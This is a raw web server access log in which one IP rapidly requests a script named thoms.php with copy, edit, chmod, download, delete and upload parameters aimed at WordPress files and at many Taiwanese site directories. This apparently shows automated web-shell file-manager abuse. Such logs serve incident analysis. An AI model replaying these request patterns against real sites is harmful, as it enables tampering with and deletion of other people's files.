45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:25 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?edit=locoy.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?edit=wp-trackback.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?edit=index.php&env=ace&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?edit=index.php&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=index.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /broadweb.com.tw/bridge-sample HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw/bridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?chmod=license.txt&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /broadweb.com.tw/bridge-sample/ HTTP/1.1" 200 6346 "https://163.245.207.76:443/broadweb.com.tw/bridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /broadweb.com.tw/bridge-sample/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Flicense.txt&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Flicense.txt&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?chmod=profile.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?dl=profile.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?dl=index.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /broadweb.com.tw/bridge-sample/license.txt HTTP/1.1" 200 69 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Fprofile.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Fprofile.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Fadmin.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Fadmin.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:26 -0400] "GET /thoms.php?dl=license.txt&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?del=index.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?del=license.txt&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?del=profile.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?del=admin.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /broadweb.com.tw/bridge-sample/index.php HTTP/1.1" 200 6500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /broadweb.com.tw/bridge-sample/admin.php HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?dl=admin.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fbridge-sample&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?chmod=index.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Findex.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample%2Findex.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=license.txt HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fbridge-sample&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fbridge-sample&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:27 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:28 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:02:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
